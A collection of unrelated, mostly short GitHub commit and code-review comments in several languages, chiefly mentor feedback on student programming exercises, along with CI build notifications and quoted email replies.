- [MagicNumber - [createPresenter]](https://github.com/tarek360/emptyapp/blob/7fd22b59ed4973f33d0fdf64f3f3576ab879fcb8/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L11)


можно Arrays.toString


### ----------------------------- Detekt Issues ☠ -----------------------------
- [LongParameterList - 9/7 - [myFunc]](https://github.com/tarek360/emptyapp/blob/1a8ce482c9aa16347c93352a8f5a2af3cc2bb6f7/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L17)
- [EmptyWhenBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/1a8ce482c9aa16347c93352a8f5a2af3cc2bb6f7/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L19)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/1a8ce482c9aa16347c93352a8f5a2af3cc2bb6f7/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L9)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/1a8ce482c9aa16347c93352a8f5a2af3cc2bb6f7/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L11)
- [EmptyElseBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/1a8ce482c9aa16347c93352a8f5a2af3cc2bb6f7/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L13)
- [MagicNumber - [num]](https://github.com/tarek360/emptyapp/blob/1a8ce482c9aa16347c93352a8f5a2af3cc2bb6f7/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L15)
- [MagicNumber - [x]](https://github.com/tarek360/emptyapp/blob/1a8ce482c9aa16347c93352a8f5a2af3cc2bb6f7/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L7)
- [MagicNumber - [createPresenter]](https://github.com/tarek360/emptyapp/blob/1a8ce482c9aa16347c93352a8f5a2af3cc2bb6f7/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L11)


There needs to be another statement that sets `path`, since otherwise it results in the following error when 2 outputs are requested:

```matlab
Output argument "path" (and maybe others) not assigned during call to "uiget".
```


ok thank

بتاريخ ٠٣/٠٧/٢٠١٨ ٤:٥٧ ص، كتب "Mahamat Nour Ali Mai" <
notifications@github.com>:

> can you try like this way then try to clean or rebuild your code before
> run.
>
> Intent i = new Intent(this, NumberActivity.class);
> startActivity(i);
>
> —
> You are receiving this because you commented.
> Reply to this email directly, view it on GitHub
> <https://github.com/udacity/ud839_Miwok/commit/952710d08e817861e515139549a9d840e7afb086#commitcomment-29574313>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/Afa9ypnWyecD3DPzdU_c3knQ-6F96C0cks5uCs-fgaJpZM4JmWP8>
> .
>


i - всегда равно 0, зачем она тебе тогда? В таком случае while лучше было использовать


здесь точно не countArray2 вместо countArray?))


расчет новой длины массива лучше тоже вынести в отдельную функцию


All tests passing.


default должна присутствовать!


s


чтобы не портить вид алгоритма, лучше number присвоить 0 и


comment


код не отформатирован


оступ между классом и методом, а также между методами


That's easier for sure and I'll definitely leave php for you. ;) But I was doing something else yesterday and had some time to spend every few minutes, so I decided to do it once - and found some license term issues along the way. So there was at least a little benefit of it.


не надо делать отступ в первой строчке метода


не совсем понятен смысл этой переменной, в твоем случае можно сразу в if и нулить i элемент, зачем еще один if и булеан переменная?


в общем, усложняешь свои алгоритмы этой hasDuplicate


зачем на каждой итерации вызывать функцию max? что-то может поменяться со временем?


это решение очень проблемное

1. откуда-то взялись странные числа, которые не фигурировали в условии задачи и вообще неясно откуда взялись )) я про 32 в 1 строке
получается автор решения сделал какие-то рассчеты за программу, потом как-то что-то подставил и что-то как-то заработало... очень неочевидное, можно сказать магическое решение ;)
2. 2 строка... сначала мы значит делаем работу, заполняем массив, потом удаляем ненужное... весьма неоптимально... нужно чтобы массив сразу заполнялся только "правильными" элементами
3. не стоит так обильно использовать метод `inject`, да еще вложенный один в другой, да еще с аргументами
если внутренний вызов читается и понимается легко, то что делает внешний уже сложнее понять... (про цифру 32 уже писал выше)


а если у двумерного массива размер больше 2?


ключами в хеше, там где это возможно, лучше использовать символы
- экономичней по памяти
- легче набирать
- проще читать
- занимает меньше места в строке ))

вместо
```ruby
hash = { 'abra' => 11, 'kadabra' => 33 }
```
лучше написать
```ruby
hash = { abra: 11, kadabra: 33 }
```


(refs https://github.com/ElementsProject/wordpress-lightning-publisher/issues/4)


break в default


лучше вот так: `('a'..'z').to_a`


On Sa, 21 Jul 2018, Bram Moolenaar wrote:

>
> > > +inoremap <C-S>		<Esc>:update<CR>gi
> >
> > Doesn't that break in easy Vim?
>
> I don't think so, because the Esc isn't typed.  Have you tried it?

Yes, expecting it to break and I now I am wondering why this works. Ah,
I see this is mentioned at `:h 'insertmode'`

Best,
Christian
--
Nach Wissen verlangen heißt im tiefsten Grunde immer: nach einem Sinn
des Lebens suchen.
		-- Margolius


про однобуквенные переменные уже писал
лучше давать полноценные имена


потерялся пробел после "равно"


Good catch!


TeamCity Architecture Team :: Java Platform :: otj-logging :: otj-logging [Build 153](https://teamcity.otenv.com/viewLog.html?buildId=8983238&buildTypeId=ArchitectureTeam_JavaPlatform_OtjLogging_OtjLogging) is now running


лучше возвращать mirrorArray из твоего метода. Смысл его передавать вторым параметром?


TeamCity Architecture Team :: Java Platform :: otj-spring-archetypes :: BuildTest [Build 56](https://teamcity.otenv.com/viewLog.html?buildId=8983244&buildTypeId=ArchitectureTeam_JavaPlatform_OtjSpringArchetypes_Buil) is now running


TeamCity Architecture Team :: Java Platform :: otj-logging :: otj-logging [Build 153](https://teamcity.otenv.com/viewLog.html?buildId=8983238&buildTypeId=ArchitectureTeam_JavaPlatform_OtjLogging_OtjLogging) outcome was **SUCCESS**
Summary: Tests passed: 15 Build time: 00:00:59


TeamCity Architecture Team :: Java Platform :: otj-spring-archetypes :: BuildTest [Build 56](https://teamcity.otenv.com/viewLog.html?buildId=8983244&buildTypeId=ArchitectureTeam_JavaPlatform_OtjSpringArchetypes_Buil) outcome was **SUCCESS**
Summary: Running Build time: 00:01:40


thanks for the heads up


довольно сложно написано только ради того, чтобы в конечном итоге получить array.length % array.length, зато оригинально)


There isn't a content folder.

On Sun, Jul 22, 2018, 10:51 AM Salmon Pool <notifications@github.com> wrote:

> The content folder and its' contents didn't get added to the repository.
>
> Probably already know this but will mention it anyways, to do a blind add
> of all the new files in your working directory to the repository run
> git add -A
>
> —
> You are receiving this because you authored the thread.
> Reply to this email directly, view it on GitHub
> <https://github.com/bahelit/salmonpool-ui/commit/61adb1139dd59674c3ac9391594493757d4298a4#commitcomment-29793095>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/AK7dXY2Rb_0Mo6itVH4KBfBswcDr4rTuks5uJJ9ygaJpZM4VZwxl>
> .
>


не за чем выводить на консоль в методе алгоритма твоего


:heart: :+1:


Can `t` be `nil` as done in line 355?


@zavalishin-arseniy , ты ведь в курсе, что этот код не запускается?


main только для тестирования, выносим алгоритмы в отдельные функции


не круто решать задачу перебором


а если второй массив окажется больше первого?


is* начинать надо булеан функции


даже если нацело не делится, она все равно может быть полиндромом!


Stop stalking me


Nvm, you fixed that in `ac9d023` ;)


awesome stuff


лучше бы switch какой написать, а то перебором каждый с каждым не круто


нужно точку было передавать, а не две координаты


отступ между классом и описанием полей


hey @nahomegetachew can u change module-nahome to module-girma


25>c:\users\administrator\desktop\sources\ashamanecore\src\server\scripts\spells\spell_paladin.cpp(643): error C2065: "player": nichtdeklarierter Bezeichner
25>c:\users\administrator\desktop\sources\ashamanecore\src\server\scripts\spells\spell_paladin.cpp(643): error C2227: Links von "->CastSpell" muss sich ein Zeiger auf Klassen-/Struktur-/Union-/generischen Typ befinden.
25>c:\users\administrator\desktop\sources\ashamanecore\src\server\scripts\spells\spell_paladin.cpp(643): note: Typ ist "unknown-type"

Compiling error


все равно не верно) нужно было просто на основании точек рассчитать, там не нужна диагональ


ok


у тебя есть диагональ в классе Point, просто этот метод надо было заюзать и все


# Specs execution successful
:scroll: [View logs](http://bamboo.comnull)
### Plans updated

Bamboo specs have been successfully imported and the following plans have been updated.

Project | Plan | Build
---|---|---
[Test](http://bamboo.com/browse/TEST) | [Comment test](http://bamboo.com/browse/TEST-CTEST)  | :white_check_mark: [\#1](http://bamboo.com/browse/TEST-CTEST-1)
[New project](http://bamboo.com/browse/NEW) | [Disabled plan](http://bamboo.com/browse/NEW-DISABLED) **disabled** | :white_check_mark: [\#1](http://bamboo.com/browse/NEW-DISABLED-1)

### Deployments updated

Bamboo specs have been successfully imported and the following deployment projects have been updated.

|Deployment project |
----|
[Deployment test](http://bamboo.com/deploy/viewDeploymentProjectVersions.action?id=2162689)|


new


Will explain what I've done here, it's just removing index.php from the url bar so its not for example:

domain.com/index.php/home

instead it will not be

domain.com/home


rewerite it like this:
`        if (Unit* player = caster->ToPlayer())
        {
            if (GetSpellInfo()->Id == SPELL_HAMMER_OF_RIGHTEOUS)
                if (caster->FindNearestCreature(43499, 8) && caster->HasAura(SPELL_PALADIN_CONSECRATION))
                    player->CastSpell(player, SPELL_HAMMER_OF_RIGHTEOUS_LIGHT_WAVE, true);
        }`


Ignoring the returned error from `Token()` is that on purpose and when yes, why?


Versions in flatpak are strings, a floating point value of `5.9` is meaningless. I'm guessing it works by accident.


c'est THE commit


lol why?


Uhmmm, this doesn't exists in our tree. How does this package even built @fbrosson?


```c
int MinInThree(struct PQueue *Q, int parent) {
    int min = parent;
    if (Q->queue[min].d > Q->queue[parent * 2]) {
        min = parent * 2;
    }
    if (Q->queue[min].d > Q->queue[parent * 2 + 1]) {
        min = parent * 2 + 1;
    }
    return min;
```

우선 parent가 가장 작다고 가정하고,
첫 번째로 왼쪽 자식과 비교하고 min을 갱신하고
두 번째로 오른쪽 자식과 방금 비교에서 얻은 min과 비교를 해서
가장 작은 min index를 구할 수 있습니다.

같은 로직의 코드지만 조금 더 깔끔하겠죠?


Is this actually working though?
Trying to work on a similar project


great


0 번지를 사용하지 않고 있을 때를 잘 체크해주었네요.


@nikic I agree. It doesn't make much sense to return `len`. Fixed in https://github.com/php/php-src/commit/26cd84d19f164f592f24593f4d1d1f7bd10696a6 and now it returns `ZLOG_FALSE` only if the allocation fails. The return value is not actually checked in stdio. It might make sense to skip the whole logging if it fails and possibly just log an error but not sure atm.


I traced down https://github.com/Automattic/mongoose/issues/6566 to this change. While I can understand the rationale for this change, perhaps we can try ipv4 and v6 in parallel rather than doing `family: 6` first and falling back to `family: 4 ` if that fails?


hola


첫 번째 노드를 마지막 노드로 덮어쓰고 있는데,
가장 첫 노드와 마지막에 있는 노드를 그냥 swap 하는건 어떨까요?


Work time:
1.25 hours


Collision 78.90.1~78.92.2


Good Job


이거 맞나요?


код не отформатирован, использовать Ctrl + Alt + L перед коммитом


i번째 Vertex가 priority queue에서도 i번째에 있을까요?


не надо отступы лишние делать где попало


зачем дублировать код для месяцев, у которых идентичный алгоритм?


why?


switch должен иметь по код конвешену default контструкцию после всех case


нечитабельно, выносить все в отдельные функции и упрощать


making the background color, as told by rajaramd4


여기도... 마찬가지로 visitingVertex의 index가 실제로 queue의 index랑 같을까요?


queue 안에 들어있는 Node의 vertexNo랑 같아야 하는것 아닌가요?


1. Нельзя объявялть несколько перменных в одну строку
2. В данном случае лучше сразу объявить и проинициализировать переменную, в одну строку


ровно одно пустая строчка между функциями


тут зачем столько лишних пропусков?


Isn't this referencing a folder called content?


сразу return? не надо создавать переменных


looking nice


делать отступ в одну строку между классом и функцией, а также между функциями


неверное решение, по условию задачи нужно было выводить последовательность до введенного числа


не надо делать отступов в первой строчке метода


Collision 83.40.2~90


back


выносить алгоритм в отдельные функции, в main только тестировать свой функционал


fixed in other commit


не надо так далеко объявлять переменные от их первого использования


теряешь вещественную часть


'<link rel="lazy-import" href="content/clo-content.html">'
That looks like it's looking into a folder called content though.

Did you notice I copied the content of all-stats to a new file called individual stats? The idea is to have that one file be called with the pool ID and return the stats for just that coin. Haven't implemented that yet though. Am going to be getting to it this evening (after 8), unless you want to do that.


то же самое, все выносим в функции!


What's the test case for those checks?


вообще забыл про то, что нужно скобочки везде ставить, даже если конструкция занимает всего одну строчку


просто if (!check[i])


Relax이후에 heapifyUpward를 하는데 중복이 아닐까요?
첫 시작점을 PQ의 Top과 swap 해주고 시작하면 어떨까요?


для такого простого алгоритма тебе понадобилось 4 массива, расточительно по памяти - это мягко сказано


просто length += array[i].length


программировать на уровне интерфейсов надо, а не реализаций, мы этого еще не проходили, а ты не правильно используешь, поэтому не надо так


не надо в лишние скобочки оборачивать, ухудшает читаемость кода


cambiamos el timepo de redirect de 2 a 1


мы же прошли строки. там есть хороший метод containce


стараться придерживаться того, чтобы из функции был только один return


зачем делать эти лишние отступы?


нормально называть переменные и параметры функции


разбивать все на функции


не надо выводить в консоль в алгоритма по сдвигу массива, в мейне делать это


Good catch!
I had created a recipe which had a `PROVIDES` for it, but forgot to commit it...
It was in my local tree for a long time, until I had a small `rm`accident... :(
I've already searched for that recipe but all I can find are the binary packages of libxcursor which I had built at that time.


а что будет в первом после этого? не сделано условие задание до конца


почему метод get* но сам он void? Давать нормальные названия методам


очень сложно написано, шаг влево - шаг вправо и выход за пределы массива или пульнешь не туда


разбивать на методы, расчет размера массива - это другой алгоритм


Created multidev environment [msgu#pr-1](https://dashboard.pantheon.io/sites/a133f0bb-8664-4ab1-8026-2ca11ca8aa7e#pr-1).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://pr-1-msgu.pantheonsite.io/)


http://tests.stockfishchess.org/tests/view/5b54ace30ebc5902bdb834b2
surprisingly looks good so far

Try a more general solution here
Just as the above test, this has an effect on ThreatByRook[QUEEN]
but also on the RookCheck and  SliderOnQueen bonus (it was even "possible" to score such bonus from behind !!! For example, White Ra1 Bb7 Black Qa5. No SliderOnQueen should be recorded here, but master was recording two (by a rook move to a8 or b6)


не надо делать отступов в первой строчке метода


飞刀北师大版
的设计施工


The use case is when someone is on track 4 and gains the corresponding tech tile. Without the check they could advance to last track even if they had no green federation.

I didn't add a test case though... Shame on me!


не, если с чарами то можно, нельзя в конструктор строку передавать :)


We have added `Cast` as an exception for it . We can have  `Cast(SymbolReference)` or even `Cast(Cast(SymbolReference))` so we try in a recursive way. Say if `expression` is a instance of FunctionCall or some other implementation we will skip them. So we won't search till the first `SymbolReference` is seen for all the expression type, we will look for it only if it a `Cast` expression


сложно написано все равно, можно было просто сравнить элементы с начала и с конца соотв., по памяти не оптимально сделано


Check if you are pushing the implementation of dismissRateApp() method.. It's doesn't seems to be in ProfileView.js class.


выносить в отдельную функцию определение числа по арабскому символу


сразу return result < 1 || result > 3999;


в задании написано было Point, внимательно читаем, что там просят


Check this selector.. It's seems is doing click on 'selling' tab, right?


в один for надо, а то хлипкий код получается, шан в сторону и ошибка


код не отформатирован


лишних оступов быть не должно!


зачем столько отступов делать?


FYI: these two updates can't be applied if your MySQL/MariaDB server has the standard max_allowed_packet of 1M. I had to (temporarily) change max_allowed_packet to at least 4M for the InstallFullDB.sh script to work again.


не надо столько отступов делать


It is a regression of: https://github.com/AppImage/AppImageKit/pull/823


Check this option, It's the same 'else if' as above, no?


не надо передавать размер нового массива, как параметром, можно ерунду передать. Рассчитывать его уже в самой функции


не надо создавать этой лишней переменной count


At least change the commit brothers. You guys are not using fucked radius rather using rounded corner things....


Тут прямоугольный нужно проверить, а не равнобедренный


`for(var y = 0; y < 3; y++)` Needs removal


стараться придерживаться того, чтобы из функции был только один return


Need to add this functionality to its own method.


Спсб


не надо брать в скобочки  (reversBuilder.reverse())


Dressage et domestication ne correspondent pas. J'avais pensé à domptage qui est plus correct mais n'est pas non plus parfait comme apprivoisement peut l'être.

De toute manière, si ça passe en jeu, c'est bon.


название пакета не по код конвеншену


Should be 60000 in the production version


Created multidev environment [msgu#pr-1](https://dashboard.pantheon.io/sites/a133f0bb-8664-4ab1-8026-2ca11ca8aa7e#pr-1).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://pr-1-msgu.pantheonsite.io/)


модификаторы доступа!


I've been wondering at what point it no longer makes sense to have the check active. ;)


как-то сложно расчет идет, упрощай


нет расчета диагонали


Save location of the directory of screenshots to be saved.


Output:
  ================
  Running webpack ...

  BUILD_DIR /opt/cobas.juturna.ca/cobas_react/releases/20180722113137/build
  SRC_DIR /opt/cobas.juturna.ca/cobas_react/releases/20180722113137/src
   ERROR  Failed to compile with 1 errors11:34:31

  This dependency was not found:

  * ol/control/control in ./node_modules/ol-contextmenu/dist/ol-contextmenu.j
  s

  To install it, you can run: npm install --save ol/control/control


Имя у нас не цифра


вывод надо делать в мейне, функция должна выполнять одну обязанность


Perhaps it makes sense to have another structure to combine / group these, since they're all array-related.


Тут индентацию нужно поправть


промежуточный метод. Забыл убрать


`objectDatabase` default constructor is enough


почему здесь два прохода? Для сдвига достаточно один раз пройтись по массиву


делать отступ в одну строку между классом и функцией, а также между функциями


Забыл убрать. Ок


код не отформатирован, использовать Ctrl + Alt + L перед коммитом


третий параметр лучше самого создавать и возвращать функцией, чем передавать, можно ерунду передать


Could be shorter:
```
objectDatabase[CompoundMapObjectID(primaryID, secondaryID)] = handler->getRMGInfo().value;
```


kiva-non-quad-walls (nealkruis) - x86_64-Linux-Ubuntu-14.04-gcc-4.8-IntegrationCoverage-Debug: OK (2327 of 2327 tests passed, 0 test warnings)

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.png) ![Test Badge](http://img.shields.io/badge/tests%20passed-100.0%25-green.png) ![Coverage Badge](http://img.shields.io/badge/coverage%20status-71.2%25-green.png)


то же самое, не надо выводов здесь, все в мейн


надо определять динамически размер нового массива!


the key is a string/symbol (not sure if string even works), not a Time


`value` parameter is unused


функция должна принимать на вход двумерный массив, а на выходе линеаризованный


kiva-non-quad-walls (nealkruis) - x86_64-Linux-Ubuntu-14.04-custom_check: OK (0 of 0 tests passed, 0 test warnings)

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.png)


надо было вынести в отдельную функцию определение числа по римскому символу


А почему JDBC классы остались?)


Oops, I didn't commit the new files. Thanks for reverting.

On Sat, Jul 21, 2018 at 3:51 AM Guo Xiang Tan <notifications@github.com>
wrote:

> @nlalonde <https://github.com/nlalonde> I had to revert this in 9afc4cf
> <https://github.com/discourse/discourse/commit/9afc4cf8c1d7857d44d253e5f0fa3e4300459e93>
> because the tests are failing with Error: Compile Error:
> user-summary-category-search is not a helper
>
> —
> You are receiving this because you were mentioned.
> Reply to this email directly, view it on GitHub
> <https://github.com/discourse/discourse/commit/1e37395517408be5f0907bd4e738c9baf4eb1134#commitcomment-29787713>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/AAJRTRXEGw4NPOpLZR8DabXl4wdIN0JCks5uIt2GgaJpZM4VZiYw>
> .
>


не верно решена, к сожалению :(


Created multidev environment [msgu#pr-1](https://dashboard.pantheon.io/sites/a133f0bb-8664-4ab1-8026-2ca11ca8aa7e#pr-1).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://pr-1-msgu.pantheonsite.io/)


не надо приводить символ в строку из одного символа, не оптимально по памяти


отступ между названием класса и полями


у прямоугольника должно было быть два поля - точки


DESTDIR is added to the MAKE_ARGS for the install target.  It's done by the framework.  It doesn't sound right that it's not working.


![](https://github.trello.services/images/mini-trello-icon.png) [2a- Criar Classe Produto](https://trello.com/c/8RxjrUfl/11-2a-criar-classe-produto)


должен принимать точку, а не две координаты


можно было просто у первой точки вызвать метод дистанс и передать вторую


pour chaque match on a la date
mais on ne connait qui l'ont joué


код не отформатирован, использовать Ctrl + Alt + L перед коммитом


Мы рекомендуем тут использовать цикл while, а не loop. В while должно быть условие выполнения, и это положительно влияет на читаемость кода. Четче видно при каких условиях код будет выполняться. Только для этого переменную fib нужно будет определить вне цикла и перезаписывать ее значение внутри цикла.


метод должен выражать действие - глагол, а не существительное, давать имена функциям и переменным нормальные)


possible*


а почему не заменяешь последний элемент?


выносить все в отдельные функции, в мейне только тестируем свой функционал


J'utilise apprivoisement/domptage pour "taming"
et dressage/entraînement pour "training" pour faire la différence


Ops! nao salvou as mudanças


В руби обычно, если блок однострочный и не более 100 символов в длину, его принято записывать в одну строку используя фигурные скобки.


on ne connait pas les points de chaque joueur


не надо всегда с нуля начинать, достаточно с i + 1


не надо делать отдельными переменными размеры массивов


on ne connait pas leurs points


зачем столько пустых строк оставлять?


Nie wrzucajmy katalogu .idea
Dlaczego?
Odpowiedź https://piecioshka.pl/blog/2017/02/06/globalna-konfiguracja-gita.html


много циклов, все в одном можно было сделать


а если размер двумерного массива больше двух?


Typo?


не надо делать отступ в первой строчке функции


1. Два раза делается ненужный boxing-unboxing.
2. Это на самом деле оооочень тяжёлый запрос. Можно написать `select count(a) from Author a`, а также ещё TypedQuery.


очень сложно написано, и не совсем верно :(


exactement


en effet


Je verrai. Si il y a encore un problème de taille, j'utiliserai domptage à l'avenir.
Il n'empêche que dompter un chinchilla, par exemple, me paraît toujours un peu ridicule (c'est supposé être réservé à des animaux plus dangereux).


yeah, thought about that too
but it's more a work in progress, we'll have to see if those options work...


Отличное название! Оценил


надо сравнивать все слово, а не только первый и последний символ


не увидел задачки с римскими :(


отступ между классом и полями


форматируем код


Тут v откуда-то в индекс передается. Наверно осталась с прошлой реализации.


прямоугольника не нашел :(


We might need to revert this.


This doesn't work. You need to use `import bisect`.


зачем в метода по сдвигу массива - выводить в консоль? выводить надо в мейне, типо теста


Вот я бы целиком бы книгу сохранял. Это в JDBC такие параметры нужно делать, а здесь - попросту незачем.


LAFACT should be made variable (or depending on something like .letcalc).

If possible it would be good to change the document source to a form which makes it possible to build it.

Normally you can delete typo-tests anyway and re-fork to get the latest patches.


well it doesn't make sense if you have to add lots of excludes
Also: Cyclomatic complexity and switch…case don't really play along well...


достаточно одного прохода по массиву для сдвига, не оптимально


всегда перетираешь первый элемент, не понятно зачем, можно проще


step может являться глаголом, но ладно, я поняла)


Ну немножно по другому предполагалось) Что это типа коммент к одной книге) Но так даже очень интересно получилось.


И это бы тогда наоборот бы было.


Created multidev environment [strik3#ci-5](https://dashboard.pantheon.io/sites/8745c3dd-7938-4b3e-88ab-edc9518ad49b#ci-5).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://ci-5-strik3.pantheonsite.io/)


Saya Sedang mempelajari ini, dan bagai manapun ini comit saya untuk lebih cerdas dalam proses pembelajaran


Крутяк!


Результат [10, 1, 2, 3, 4, 5, 6, 7, 8, 9]. Он заменяется.


Вот удалили бы классы JDBC и не надо было бы ставить)


можно было сделать не перебором каждое с каждым постоянно, а switch например


почему выходить из цикла здесь?


Круто! Правда круто! Не стали отдавать схему на откуп хибернейту)


could you please push an update on poggit with this fix?


K


сложно написано, много неочевидных ветвлений


оступ между классом и полями


можно просто у одной точки вызвать метод дистанс и передать другую


pdf file is deleted


а если точки отрицательны?


Его нет, он не нашел в себе сил правильно работать :(


А такие тесты лучше не писать, это к данным сильно привзязывает. Лучше доабвить и проверить, что количество изменилось.


Тестовую можно не создавать - пусть используется из src/main


@zcilic : This would be very hard to detect because we cannot expect them to run tests with debugger and inspect correct css/xpaths. I wouldn't go into these details


не надо делать отступ в первой строчке функции


не надо делать вывод на консоль, метод должен иметь одну обязанность, делай это в функции мейн


count += array[i].length


код не отформатирован, использовать Ctrl + Alt + L перед коммитом


✅ Detekt: Great Stuff! 👍


values2 не передавать третьим параметром, а определять уже внутри функции, иначе можно фигню передать


уже писал, здесь не нужны пробелы в начале и в конце массива


можно было в один for написать, сложно выходит у тебя


yup :P


есть функция Math.abs


просто у одной точки вызови метод дистанс и передай другую


newString.reverse().toString()
Не использовать new String("another string")


works on Rye too now!


не делай лишних отступов после класса и после функций


oh goof !
nice first commit


break в default


скобки здесь не нужны, т.к. у оператора `&&` приоритет выше, чему у `||`
если их все же писать, то не нужны пробелы в начале и в конце (оставлял подробный комментарий в прошлой сдаче)


разбивай на функции


вывод не делать здесь


еще раз про скобки

не рекомендуется ставить пробел после открывающей скобки и перед закрывающей (кроме фигурных скобок в случае хеша или блока):
```ruby
# bad
array = [ 1, 2, 3 ]
a = ( 1 + 2 ) / 3
%w( a e i)
some_method( arg )

#good
array = [1, 2, 3]
a = (1 + 2) / 3
%w(a e i)
some_method(arg)
```


有时候能用,但是大部分都是没法用,信息根本没有录入.特别是微信
通知监听服务开关虽然一直是开着但是总是提示不能正常工作,只能先关掉再开.
总之bug还有好多,不知道是不是我手机问题....


делать отступ в одну строку между классом и функцией, а также между функциями


выносить все в отдельные функции - main только для тестирования


I see. Wouldn't it better to have an explicit choose tile phase even for std techs not free, with also a "decline advance", which will be more coherent with the rules "player can advance"? In this case the available research area will be already correct.


почему break? а если есть еще дубликаты?


странное условие, надо искать в той части массива, которые ты еще не прошел


The command to roll back the update has a typo ('v10') , it should be ---
kubectl set image deployments/kubernetes-bootcamp kubernetes-bootcamp=gcr.io/google-samples/kubernetes-bootcamp:v1


ничего не вынесено в функции


я говорил, что желательно не использовать do-while


reslength +=arr[i].length


называть переменные и параметры функции нормально, не сокращенные имена или еще что-то, они должны отражать суть того, что там лежит


что это int arr[][]???


✅ Detekt: Great Stuff! 👍


код не отформатирован, использовать Ctrl + Alt + L перед коммитом


переставай сокрашать имена всего, что есть в программе!


делай отступ между классом и полями


Not Ubuntu Touch. For that, you need to build halium-boot successfully. I have only built Hybris-Boot successfully.


Created multidev environment [wvuonline#ci-346](https://dashboard.pantheon.io/sites/8fb52aa5-5525-4d73-9b84-f2d86faf1da2#ci-346).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://ci-346-wvuonline.pantheonsite.io/)


GitHub.com auto-tab :)


Ok, if this is indeed a development version that makes sense.


не совсем понятен смысл этого метода


как-то сложно ты тут написал, не уверен даже. что верно


все выносить в функции, мейн только для тестирования, никакой логики там быть не должно


# Specs execution successful
:scroll: [View logs](http://bamboo.comnull)
### Plans updated

Bamboo specs have been successfully imported and the following plans have been updated.

Project | Plan | Build
---|---|---
[Test](http://bamboo.com/browse/TEST) | [Comment test](http://bamboo.com/browse/TEST-CTEST)  | :white_check_mark: [\#1](http://bamboo.com/browse/TEST-CTEST-1)
[New project](http://bamboo.com/browse/NEW) | [Disabled plan](http://bamboo.com/browse/NEW-DISABLED) **disabled** | :white_check_mark: [\#1](http://bamboo.com/browse/NEW-DISABLED-1)

### Deployments updated

Bamboo specs have been successfully imported and the following deployment projects have been updated.

|Deployment project |
----|
[Deployment test](http://bamboo.com/deploy/viewDeploymentProjectVersions.action?id=2162689)|


hmmm, coulda sworn IPA created the folder at some point


странная проверка


и зачем приводить явно к чару то, что и так является чаром?


@gmaclennan it seems like your fork of safe-fs-blob-store is not any different, did you push changes?

It would be great to just open a PR on the main repo and publish a fix if it's a bug!


функция с большой буквы!


just kidding found the branch


зачем передавать StringBuilder если ты все равно конвертишь в строку в алгоритме?


it's tabs here, github put in spaces. nevermind, it's alright :D


не оптимально по памяти, можно было сделать без создания лишних массивов булеан и т.д.
https://leetcode.com/problems/remove-duplicates-from-sorted-array/solution/


не надо делать отступ в первой строчке функции


просто length += numI[i].length